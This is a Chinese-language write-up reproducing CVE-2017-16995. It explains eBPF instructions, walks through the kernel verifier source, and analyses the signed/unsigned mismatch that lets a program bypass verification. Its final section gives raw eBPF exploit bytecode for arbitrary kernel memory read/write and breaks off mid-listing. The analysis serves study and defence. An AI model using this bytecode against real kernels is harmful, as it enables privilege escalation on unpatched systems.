CVE-2017-16995复现
196082 慢慢好起来

这一篇是作为ebpf的入门文章,所以会稍微介绍一下指令集,寄存器。可能篇幅略长。

漏洞简介

该漏洞最早是由17年12月21号Google Project Zero团队的Jann Horn发现并报告的,编号为CVE-2017-16995。
内核影响版本:Linux Kernel Version 4.14 ~ 4.4 。

eBPF指令集介绍

在认识一个新的指令集的第一步就是认识寄存器,在eBPF中存在十一个寄存器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
R0:一般用来表示函数返回值,包括整个 BPF 代码块(其实也可被看做一个函数)的返回值;
R1~R5:一般用于表示内核预设函数的参数;
R6~R9:在 BPF 代码中可以作存储用,其值不受内核预设函数影响;
R10:只读,用作栈指针(SP)
可理解对应为物理寄存器为:
R0 – rax
R1 - rdi
R2 - rsi
R3 - rdx
R4 - rcx
R5 - r8
R6 - rbx
R7 - r13
R8 - r14
R9 - r15
R10 – rbp

对于算数(ALU)和跳转(JMP)指令,8bit的代码字段分为三个部分:

1
2
3
4
5
+----------------+--------+--------------------+
| 4 bits | 1 bit | 3 bits |
| operation code | source | instruction class |
+----------------+--------+--------------------+
(MSB) (LSB)

这里最后3bit LSB代表指令类型:

1
2
3
4
5
6
7
8
9
10
eBPF classes:

BPF_LD 0x00
BPF_LDX 0x01
BPF_ST 0x02
BPF_STX 0x03
BPF_ALU 0x04
BPF_JMP 0x05
BPF_JMP32 0x06
BPF_ALU64 0x07

BPF_CLASS(code) == BPF_ALU or BPF_JMP时,第四bit编码源操作数:

1
2
BPF_K     0x00 ;代表将立即数作为源操作数
BPF_X 0x08 ;代表将‘src_reg’作为源操作数

前4bit的MSB用来存储操作码:

  1. 如果 BPF_CLASS(code) == BPF_ALU or BPF_ALU64时,操作码会是下面的一个:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
BPF_ADD   0x00
BPF_SUB 0x10
BPF_MUL 0x20
BPF_DIV 0x30
BPF_OR 0x40
BPF_AND 0x50
BPF_LSH 0x60
BPF_RSH 0x70
BPF_NEG 0x80
BPF_MOD 0x90
BPF_XOR 0xa0
BPF_MOV 0xb0 /* eBPF only: mov reg to reg */
BPF_ARSH 0xc0 /* eBPF only: sign extending shift right */
BPF_END 0xd0 /* eBPF only: endianness conversion */
  1. 如果BPF_CLASS(code) == BPF_JMP or BPF_JMP32时,操作码将会是下面的一个:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
BPF_JA    0x00  /* BPF_JMP only */
BPF_JEQ 0x10
BPF_JGT 0x20
BPF_JGE 0x30
BPF_JSET 0x40
BPF_JNE 0x50 /* eBPF only: jump != */
BPF_JSGT 0x60 /* eBPF only: signed '>' */
BPF_JSGE 0x70 /* eBPF only: signed '>=' */
BPF_CALL 0x80 /* eBPF BPF_JMP only: function call */
BPF_EXIT 0x90 /* eBPF BPF_JMP only: function return */
BPF_JLT 0xa0 /* eBPF only: unsigned '<' */
BPF_JLE 0xb0 /* eBPF only: unsigned '<=' */
BPF_JSLT 0xc0 /* eBPF only: signed '<' */
BPF_JSLE 0xd0 /* eBPF only: signed '<=' */

比如 BPF_ADD | BPF_X | BPF_ALU这条指令代表32位加法运算,将源寄存器的值加上目的寄存器的值,然后将结果存储到目的寄存器中:dst_reg = (u32) dst_reg + (u32) src_reg;

并且,在eBPF指令集中没有了BPF_RET指令,用BPF_JMP | BPF_EXIT仅代替函数执行完退出,在函数退出之前,eBPF需要将返回值存储在R0中。

对于加载(LOAD)和存储(STORE)指令,8-bit的代码域分为:

1
2
3
4
5
+--------+--------+-------------------+
| 3 bits | 2 bits | 3 bits |
| mode | size | instruction class |
+--------+--------+-------------------+
(MSB) (LSB)

其中size分别有下面四种类型:

1
2
3
4
BPF_W   0x00   ; word 4 byte
BPF_H 0x08 ; half word 2 byte
BPF_B 0x10 ; byte
BPF_DW 0x18 ; double word 8 byte

并且在内核中,每一条指令的信息都储存在bpf_insn结构体中:

1
2
3
4
5
6
7
struct bpf_insn {
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant */
};

eBPF代码加载执行流程 & 检查分析

加载执行流程

用户可以用eBPF指令字节码的形式向内核输送代码,并通过事件来(如往socket写数据)来触发内核执行用户提供的eBPF代码。eBPF模块可以让用户加载数据包过滤代码(eBPF代码)进入内核,在收到数据包时触发eBPF代码执行。可以编写一个简单的用户数据包过滤程序来触发执行eBPF代码,具体流程如下:

1
2
3
4
5
6
7
8
* syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)) ;创建全局变量map结构体,内核态用户态都可以访问。
* syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) ;将用户态的BPF代码注入到内核,并对代码进行检查,并模拟执行。
* static int bpf_prog_load(union bpf_attr *attr) ;判断过滤模式
* int bpf_check(struct bpf_prog **prog, union bpf_attr *attr)
* check_cfg(env); 第一轮检查,检查是否存在环路
* do_check(env); 第二轮检查,详细扫描BPF代码的运行过程,跟踪分析寄存器和堆栈,检查是否有不符合规则的情况出现
* static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn);运行BPF指令,最后真正运行的的函数。
* setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd));将eBPF与特定的事件绑定,在收到数据包时触发eBPF代码执行。

检查分析

根据上述流程我们可以看到我们将BPF代码注入到内核中是发生在第二步中的,执行的函数为:bpf_prog_load

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
static int bpf_prog_load(union bpf_attr *attr)
{
enum bpf_prog_type type = attr->prog_type;
struct bpf_prog *prog;
int err;
char license[128];
bool is_gpl;

if (CHECK_ATTR(BPF_PROG_LOAD))
return -EINVAL;

/* copy eBPF program license from user space */
if (strncpy_from_user(license, u64_to_ptr(attr->license),
sizeof(license) - 1) < 0)
return -EFAULT;
license[sizeof(license) - 1] = 0;

/* eBPF programs must be GPL compatible to use GPL-ed functions */
is_gpl = license_is_gpl_compatible(license);

if (attr->insn_cnt >= BPF_MAXINSNS)
return -EINVAL;

if (type == BPF_PROG_TYPE_KPROBE &&
attr->kern_version != LINUX_VERSION_CODE)
return -EINVAL;

if (type != BPF_PROG_TYPE_SOCKET_FILTER && !capable(CAP_SYS_ADMIN))
return -EPERM;

/* plain bpf_prog allocation */
prog = bpf_prog_alloc(bpf_prog_size(attr->insn_cnt), GFP_USER);
if (!prog)
return -ENOMEM;

err = bpf_prog_charge_memlock(prog);
if (err)
goto free_prog_nouncharge;

prog->len = attr->insn_cnt;

err = -EFAULT;
if (copy_from_user(prog->insns, u64_to_ptr(attr->insns),
prog->len * sizeof(struct bpf_insn)) != 0)
goto free_prog;

prog->orig_prog = NULL;
prog->jited = 0;

atomic_set(&prog->aux->refcnt, 1);
prog->gpl_compatible = is_gpl ? 1 : 0;

/* find program type: socket_filter vs tracing_filter */
err = find_prog_type(type, prog);
if (err < 0)
goto free_prog;

/* run eBPF verifier */
err = bpf_check(&prog, attr);
if (err < 0)
goto free_used_maps;

/* fixup BPF_CALL->imm field */
fixup_bpf_calls(prog);

/* eBPF program is ready to be JITed */
err = bpf_prog_select_runtime(prog);
if (err < 0)
goto free_used_maps;

err = bpf_prog_new_fd(prog);
if (err < 0)
/* failed to allocate fd */
goto free_used_maps;

return err;

free_used_maps:
free_used_maps(prog->aux);
free_prog:
bpf_prog_uncharge_memlock(prog);
free_prog_nouncharge:
bpf_prog_free(prog);
return err;
}

可以看到在19行对ebpf license进行验证是否为GPL证书的一种,在21行检验了传入代码的长度,然后通过find_prog_type函数判断过滤模式,其中socket_filter是数据包过滤,而tracing_filter就是对系统调用号及参数的过滤,也就是我们常见的seccomp。最后进入bpf_check函数进行进一步验证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
int bpf_check(struct bpf_prog **prog, union bpf_attr *attr)
{
char __user *log_ubuf = NULL;
struct verifier_env *env;
int ret = -EINVAL;

if ((*prog)->len <= 0 || (*prog)->len > BPF_MAXINSNS)
return -E2BIG;

/* 'struct verifier_env' can be global, but since it's not small,
* allocate/free it every time bpf_check() is called
*/
env = kzalloc(sizeof(struct verifier_env), GFP_KERNEL);
if (!env)
return -ENOMEM;

env->prog = *prog;

/* grab the mutex to protect few globals used by verifier */
mutex_lock(&bpf_verifier_lock);

if (attr->log_level || attr->log_buf || attr->log_size) {
/* user requested verbose verifier output
* and supplied buffer to store the verification trace
*/
log_level = attr->log_level;
log_ubuf = (char __user *) (unsigned long) attr->log_buf;
log_size = attr->log_size;
log_len = 0;

ret = -EINVAL;
/* log_* values have to be sane */
if (log_size < 128 || log_size > UINT_MAX >> 8 ||
log_level == 0 || log_ubuf == NULL)
goto free_env;

ret = -ENOMEM;
log_buf = vmalloc(log_size);
if (!log_buf)
goto free_env;
} else {
log_level = 0;
}

ret = replace_map_fd_with_map_ptr(env);
if (ret < 0)
goto skip_full_check;

env->explored_states = kcalloc(env->prog->len,
sizeof(struct verifier_state_list *),
GFP_USER);
ret = -ENOMEM;
if (!env->explored_states)
goto skip_full_check;

ret = check_cfg(env);
if (ret < 0)
goto skip_full_check;

env->allow_ptr_leaks = capable(CAP_SYS_ADMIN);

ret = do_check(env);

skip_full_check:
while (pop_stack(env, NULL) >= 0);
free_states(env);

if (ret == 0)
/* program is valid, convert *(u32*)(ctx + off) accesses */
ret = convert_ctx_accesses(env);

if (log_level && log_len >= log_size - 1) {
BUG_ON(log_len >= log_size);
/* verifier log exceeded user supplied buffer */
ret = -ENOSPC;
/* fall through to return what was recorded */
}

/* copy verifier log back to user space including trailing zero */
if (log_level && copy_to_user(log_ubuf, log_buf, log_len + 1) != 0) {
ret = -EFAULT;
goto free_log_buf;
}

if (ret == 0 && env->used_map_cnt) {
/* if program passed verifier, update used_maps in bpf_prog_info */
env->prog->aux->used_maps = kmalloc_array(env->used_map_cnt,
sizeof(env->used_maps[0]),
GFP_KERNEL);

if (!env->prog->aux->used_maps) {
ret = -ENOMEM;
goto free_log_buf;
}

memcpy(env->prog->aux->used_maps, env->used_maps,
sizeof(env->used_maps[0]) * env->used_map_cnt);
env->prog->aux->used_map_cnt = env->used_map_cnt;

/* program is valid. Convert pseudo bpf_ld_imm64 into generic
* bpf_ld_imm64 instructions
*/
convert_pseudo_ld_imm64(env);
}

free_log_buf:
if (log_level)
vfree(log_buf);
free_env:
if (!env->prog->aux->used_maps)
/* if we didn't copy map pointers into bpf_prog_info, release
* them now. Otherwise free_bpf_prog_info() will release them.
*/
release_maps(env);
*prog = env->prog;
kfree(env);
mutex_unlock(&bpf_verifier_lock);
return ret;
}

这里首先是使用check_cfg函数借用了程序控制流图的思路来检查这个EBPF程序中是否有死循环和跳转到未初始化的位置,避免造成无法预期的风险。最后则是使用do_check函数模拟执行一次注入代码,会将注入代码的所有逻辑分支从头到尾都会被完全跑上一遍,会模拟每条指令的执行,包括堆栈、寄存器、访问内存、调用函数等。

漏洞分析

这里的漏洞发生在do_check函数和最后真正运行的__bpf_prog_run翻译结果不一致导致的。这里用如下代码来演示:

1
2
3
4
BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF),             /* r9 = (u32)0xFFFFFFFF   */
BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */
BPF_EXIT_INSN()

首先看一下do_check函数中处理的事情:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
init_reg_state(regs);
insn_idx = 0;
for (;;) {
struct bpf_insn *insn;
u8 class;
int err;

if (insn_idx >= insn_cnt) {
verbose("invalid insn idx %d insn_cnt %d\n",
insn_idx, insn_cnt);
return -EFAULT;
}

insn = &insns[insn_idx];
class = BPF_CLASS(insn->code);
// ...
}

可以看到这里存在一个for死循环,最后会返回BPF_CLASS获得的指令操作码类型。

第一条指令是BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF),BPF_MOV指令属于ALU大类中,在检测到指令类型是ALU,进入如下分支,调用check_alu_op()函数继续判断。

1
2
3
4
5
if (class == BPF_ALU || class == BPF_ALU64) {
err = check_alu_op(env, insn);
if (err)
return err;
}

根据check_alu_op()函数,上面这条代码的指令操作码为BPF_MOV,进入如下分支。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
else if (opcode == BPF_MOV) {

......
if (BPF_SRC(insn->code) == BPF_X) {
if (BPF_CLASS(insn->code) == BPF_ALU64) {
/* case: R1 = R2
* copy register state to dest reg
*/
regs[insn->dst_reg] = regs[insn->src_reg];
} else {
if (is_pointer_value(env, insn->src_reg)) {
verbose("R%d partial copy of pointer\n",
insn->src_reg);
return -EACCES;
}
regs[insn->dst_reg].type = UNKNOWN_VALUE;
regs[insn->dst_reg].map_ptr = NULL;
}
} else { //BPF_K
/* case: R = imm
* remember the value we stored into this reg
*/
regs[insn->dst_reg].type = CONST_IMM;
regs[insn->dst_reg].imm = insn->imm;
}
}

可以看到这里最后是将指令的立即数保存到了reg_state结构体中的:

1
2
3
4
5
6
7
8
9
10
11
12
struct reg_state {
enum bpf_reg_type type;
union {
/* valid when type == CONST_IMM | PTR_TO_STACK */
int imm;

/* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
* PTR_TO_MAP_VALUE_OR_NULL
*/
struct bpf_map *map_ptr;
};
};

可以看到,这里的imm也是有符号整数,和bpf_insn结构体中的imm类型一致。
检查第二条指令BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2),这是一条JMP指令,在do_check函数中会进入如下分支:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
else if (class == BPF_JMP) {
u8 opcode = BPF_OP(insn->code);

if (opcode == BPF_CALL) {
if (BPF_SRC(insn->code) != BPF_K ||
insn->off != 0 ||
insn->src_reg != BPF_REG_0 ||
insn->dst_reg != BPF_REG_0) {
verbose("BPF_CALL uses reserved fields\n");
return -EINVAL;
}

err = check_call(env, insn->imm);
if (err)
return err;

} else if (opcode == BPF_JA) {
if (BPF_SRC(insn->code) != BPF_K ||
insn->imm != 0 ||
insn->src_reg != BPF_REG_0 ||
insn->dst_reg != BPF_REG_0) {
verbose("BPF_JA uses reserved fields\n");
return -EINVAL;
}

insn_idx += insn->off + 1;
continue;

} else if (opcode == BPF_EXIT) {
if (BPF_SRC(insn->code) != BPF_K ||
insn->imm != 0 ||
insn->src_reg != BPF_REG_0 ||
insn->dst_reg != BPF_REG_0) {
verbose("BPF_EXIT uses reserved fields\n");
return -EINVAL;
}

/* eBPF calling convetion is such that R0 is used
* to return the value from eBPF program.
* Make sure that it's readable at this time
* of bpf_exit, which means that program wrote
* something into it earlier
*/
err = check_reg_arg(regs, BPF_REG_0, SRC_OP);
if (err)
return err;

if (is_pointer_value(env, BPF_REG_0)) {
verbose("R0 leaks addr as return value\n");
return -EACCES;
}

process_bpf_exit:
insn_idx = pop_stack(env, &prev_insn_idx);
if (insn_idx < 0) {
break;
} else {
do_print_state = true;
continue;
}
} else {
err = check_cond_jmp_op(env, insn, &insn_idx);
if (err)
return err;
}
}

最后的else语句也就是JNE所进入的分支,所以会进一步进入check_cond_jmp_op函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (BPF_SRC(insn->code) == BPF_K &&
(opcode == BPF_JEQ || opcode == BPF_JNE) &&
regs[insn->dst_reg].type == CONST_IMM &&
regs[insn->dst_reg].imm == insn->imm) {
if (opcode == BPF_JEQ) {
/* if (imm == imm) goto pc+off;
* only follow the goto, ignore fall-through
*/
*insn_idx += insn->off;
return 0;
} else {
/* if (imm != imm) goto pc+off;
* only follow fall-through branch, since
* that's where the program will go
*/
return 0;
}
}

在函数内部存在这样一条if语句,由前面提到了在reg_state结构体中的imm和insn中的imm都是int类型,并且reg_state结构体中的imm是由insn中直接赋值过去的,所以这个条件会恒等。所以当操作码为BPF_JNE时,永远都不会跳转。

上面是模拟执行的情况,那么下面看看真实执行情况是什么样子的,首先真实执行情况的函数为__bpf_prog_run:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn)
{
u64 stack[MAX_BPF_STACK / sizeof(u64)];
u64 regs[MAX_BPF_REG], tmp;
static const void *jumptable[256] = {
[0 ... 255] = &&default_label,
/* Now overwrite non-defaults ... */
/* 32 bit ALU operations */
[BPF_ALU | BPF_ADD | BPF_X] = &&ALU_ADD_X,
[BPF_ALU | BPF_ADD | BPF_K] = &&ALU_ADD_K,
[BPF_ALU | BPF_SUB | BPF_X] = &&ALU_SUB_X,
[BPF_ALU | BPF_SUB | BPF_K] = &&ALU_SUB_K,
[BPF_ALU | BPF_AND | BPF_X] = &&ALU_AND_X,
[BPF_ALU | BPF_AND | BPF_K] = &&ALU_AND_K,
[BPF_ALU | BPF_OR | BPF_X] = &&ALU_OR_X,
[BPF_ALU | BPF_OR | BPF_K] = &&ALU_OR_K,
[BPF_ALU | BPF_LSH | BPF_X] = &&ALU_LSH_X,
[BPF_ALU | BPF_LSH | BPF_K] = &&ALU_LSH_K,
[BPF_ALU | BPF_RSH | BPF_X] = &&ALU_RSH_X,
[BPF_ALU | BPF_RSH | BPF_K] = &&ALU_RSH_K,
[BPF_ALU | BPF_XOR | BPF_X] = &&ALU_XOR_X,
// ...
}

可以看到函数这里维护的是一个跳表,根据opcode来进行跳转,并且没有任何检测。这里重点关注一下上述例子中的跳转函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* Jumps */
[BPF_JMP | BPF_JA] = &&JMP_JA,
[BPF_JMP | BPF_JEQ | BPF_X] = &&JMP_JEQ_X,
[BPF_JMP | BPF_JEQ | BPF_K] = &&JMP_JEQ_K,
[BPF_JMP | BPF_JNE | BPF_X] = &&JMP_JNE_X,
[BPF_JMP | BPF_JNE | BPF_K] = &&JMP_JNE_K,
[BPF_JMP | BPF_JGT | BPF_X] = &&JMP_JGT_X,
[BPF_JMP | BPF_JGT | BPF_K] = &&JMP_JGT_K,
[BPF_JMP | BPF_JGE | BPF_X] = &&JMP_JGE_X,
[BPF_JMP | BPF_JGE | BPF_K] = &&JMP_JGE_K,
[BPF_JMP | BPF_JSGT | BPF_X] = &&JMP_JSGT_X,
[BPF_JMP | BPF_JSGT | BPF_K] = &&JMP_JSGT_K,
[BPF_JMP | BPF_JSGE | BPF_X] = &&JMP_JSGE_X,
[BPF_JMP | BPF_JSGE | BPF_K] = &&JMP_JSGE_K,
[BPF_JMP | BPF_JSET | BPF_X] = &&JMP_JSET_X,
[BPF_JMP | BPF_JSET | BPF_K] = &&JMP_JSET_K,

可以看到这里赋值的是JMP_JNE_K

1
2
3
4
5
6
JMP_JNE_K:
if (DST != IMM) {
insn += insn->off;
CONT_JMP;
}
CONT;

这里就比较关注DST和IMM的定义了:

1
2
3
4
5
6
7
/* Named registers */
#define DST regs[insn->dst_reg]
#define SRC regs[insn->src_reg]
#define FP regs[BPF_REG_FP]
#define ARG1 regs[BPF_REG_ARG1]
#define CTX regs[BPF_REG_CTX]
#define IMM insn->imm

可以看到这里IMM的定义依旧是从insn中拿出来的,然而这里的DST是直接从约定的寄存器中拿出来,然而在__bpf_prog_run函数的开头可以看出来这里的寄存器定义为unsigned long long int类型,那么如果重新执行上述演示代码就会出现跳转,也就是说检查和实际运行的指令执行流程会不一致,可以利用这个绕过安全检测。

漏洞利用

退出do_check

但就目前来看依旧存在的一个问题就是虽然他会进入BPF_EXIT分支,但是在最后的pop_stack需要返回的值为负数才能结束循环退出do_check函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
else if (opcode == BPF_EXIT) {
if (BPF_SRC(insn->code) != BPF_K ||
insn->imm != 0 ||
insn->src_reg != BPF_REG_0 ||
insn->dst_reg != BPF_REG_0) {
verbose("BPF_EXIT uses reserved fields\n");
return -EINVAL;
}

/* eBPF calling convetion is such that R0 is used
* to return the value from eBPF program.
* Make sure that it's readable at this time
* of bpf_exit, which means that program wrote
* something into it earlier
*/
err = check_reg_arg(regs, BPF_REG_0, SRC_OP);
if (err)
return err;

if (is_pointer_value(env, BPF_REG_0)) {
verbose("R0 leaks addr as return value\n");
return -EACCES;
}

process_bpf_exit:
insn_idx = pop_stack(env, &prev_insn_idx);
if (insn_idx < 0) {
break;
} else {
do_print_state = true;
continue;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static int pop_stack(struct verifier_env *env, int *prev_insn_idx)
{
struct verifier_stack_elem *elem;
int insn_idx;

if (env->head == NULL)
return -1;

memcpy(&env->cur_state, &env->head->st, sizeof(env->cur_state));
insn_idx = env->head->insn_idx;
if (prev_insn_idx)
*prev_insn_idx = env->head->prev_insn_idx;
elem = env->head->next;
kfree(env->head);
env->head = elem;
env->stack_size--;
return insn_idx;
}
1
2
3
4
5
6
7
8
9
10
struct verifier_env {
struct bpf_prog *prog; /* eBPF program being verified */
struct verifier_stack_elem *head; /* stack of verifier states to be processed */
int stack_size; /* number of states to be processed */
struct verifier_state cur_state; /* current verifier state */
struct verifier_state_list **explored_states; /* search pruning optimization */
struct bpf_map *used_maps[MAX_USED_MAPS]; /* array of map's used by eBPF program */
u32 used_map_cnt; /* number of used maps */
bool allow_ptr_leaks;
};

所以我们在实现构造时需要将head位置为0,根据函数名pop_stack可以推测出来这里其实也就是栈的操作,所以大致的构造方法是:

1
2
3
4
5
6
7
BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF),             /* r9 = (u32)0xFFFFFFFF   */
BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */
BPF_EXIT_INSN(),
option,
pandding == 0,
options

实现任意地址读写

内存读写需要用到的指令主要是BPF_LDX_MEM或者BPF_STX_MEM两类。如下,当r7和r8的值可控就可以达到内存任意写,类似于mov dword ptr[r7],r8这样的操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
else if (class == BPF_LDX) {
enum bpf_reg_type src_reg_type;

/* check for reserved fields is already done */

/* check src operand */
err = check_reg_arg(regs, insn->src_reg, SRC_OP);
if (err)
return err;

err = check_reg_arg(regs, insn->dst_reg, DST_OP_NO_MARK);
if (err)
return err;

src_reg_type = regs[insn->src_reg].type;

/* check that memory (src_reg + off) is readable,
* the state of dst_reg will be updated by this func
*/
err = check_mem_access(env, insn->src_reg, insn->off,
BPF_SIZE(insn->code), BPF_READ,
insn->dst_reg);
if (err)
return err;

if (BPF_SIZE(insn->code) != BPF_W) {
insn_idx++;
continue;
}

if (insn->imm == 0) {
/* saw a valid insn
* dst_reg = *(u32 *)(src_reg + off)
* use reserved 'imm' field to mark this insn
*/
insn->imm = src_reg_type;

} else if (src_reg_type != insn->imm &&
(src_reg_type == PTR_TO_CTX ||
insn->imm == PTR_TO_CTX)) {
/* ABuser program is trying to use the same insn
* dst_reg = *(u32*) (src_reg + off)
* with different pointer types:
* src_reg == ctx in one branch and
* src_reg == stack|map in some other branch.
* Reject it.
*/
verbose("same insn cannot be used with different pointers\n");
return -EINVAL;
}

} else if (class == BPF_STX) {
enum bpf_reg_type dst_reg_type;

if (BPF_MODE(insn->code) == BPF_XADD) {
err = check_xadd(env, insn);
if (err)
return err;
insn_idx++;
continue;
}

/* check src1 operand */
err = check_reg_arg(regs, insn->src_reg, SRC_OP);
if (err)
return err;
/* check src2 operand */
err = check_reg_arg(regs, insn->dst_reg, SRC_OP);
if (err)
return err;

dst_reg_type = regs[insn->dst_reg].type;

/* check that memory (dst_reg + off) is writeable */
err = check_mem_access(env, insn->dst_reg, insn->off,
BPF_SIZE(insn->code), BPF_WRITE,
insn->src_reg);
if (err)
return err;

if (insn->imm == 0) {
insn->imm = dst_reg_type;
} else if (dst_reg_type != insn->imm &&
(dst_reg_type == PTR_TO_CTX ||
insn->imm == PTR_TO_CTX)) {
verbose("same insn cannot be used with different pointers\n");
return -EINVAL;
}

}

check_mem_access函数会根据读写类型检查dst或src的值是否为栈指针、数据包指针、map指针,否则不允许读写。所以这里使用BPF_FUNC_map_lookup_elem这样的函数调用返回,再赋给某个寄存器,然后再进行读写。

最终构造的eBPF指令为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
----------------------------------------------part 1 ----------------------------------------------
1. "\xb4\x09\x00\x00\xff\xff\xff\xff" /* BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF), r9 = (u32)0xFFFFFFFF */
2. "\x55\x09\x02\x00\xff\xff\xff\xff" /*BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), if (r9 == -1) { */
3. "\xb7\x00\x00\x00\x00\x00\x00\x00" /*BPF_MOV64_IMM(BPF_REG_0, 0), exit(0); */
4. "\x95\x00\x00\x00\x00\x00\x00\x00" /*BPF_EXIT_INSN() */
----------------------------------------------part 2 ----------------------------------------------
5. "\x18\x19\x00\x00\x03\x00\x00\x00" /*BPF_LD_MAP_FD(BPF_REG_9, mapfd), /* r9=mapfd */
6. "\x00\x00\x00\x00\x00\x00\x00\x00"
----------------------------------------------part 3 ----------------------------------------------
/*
* BPF_MAP_GET(0, BPF_REG_6) r6=op,取map中Key值为0的value值存放到reg_6
* */
10. "\xbf\x91\x00\x00\x00\x00\x00\x00" /*BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */
11. "\xbf\xa2\x00\x00\x00\x00\x00\x00" /*BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */
12. "\x07\x02\x00\x00\xfc\xff\xff\xff" /*BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */
13. "\x62\x0a\xfc\xff\x00\x00\x00\x00" /*BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=0), /* *(u32 *)(fp - 4) = 0 */
14. "\x85\x00\x00\x00\x01\x00\x00\x00" /*BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), */
15. "\x55\x00\x01\x00\x00\x00\x00\x00" /*BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */
16. "\x95\x00\x00\x00\x00\x00\x00\x00" /*BPF_EXIT_INSN(), /* exit(0); */
17. "\x79\x06\x00\x00\x00\x00\x00\x00" /*BPF_LDX_MEM(BPF_DW, (r6), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
----------------------------------------------part 4 ----------------------------------------------
/*
* BPF_MAP_GET(1, BPF_REG_7) r7=address,取map中Key值为1的value值存放到reg_7
* */
21. "\xbf\x91\x00\x00\x00\x00\x00\x00" /*BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */
22. "\xbf\xa2\x00\x00\x00\x00\x00\x00" /*BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */
23. "\x07\x02\x00\x00\xfc\xff\xff\xff" /*BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */
24. "\x62\x0a\xfc\xff\x01\x00\x00\x00" /*BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=1), /* *(u32 *)(fp - 4) = 1 */
25. "\x85\x00\x00\x00\x01\x00\x00\x00" /*BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), */
26. "\x55\x00\x01\x00\x00\x00\x00\x00" /*BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */
27. "\x95\x00\x00\x00\x00\x00\x00\x00" /*BPF_EXIT_INSN(), /* exit(0); */
28. "\x79\x07\x00\x00\x00\x00\x00\x00" /*BPF_LDX_MEM(BPF_DW, (r7), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
----------------------------------------------part 5 ----------------------------------------------
/*
* BPF_MAP_GET(2, BPF_REG_8) r8=value,取map中Key值为2的value值存放到reg_8
* */
32. "\xbf\x91\x00\x00\x00\x00\x00\x00" /*BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */
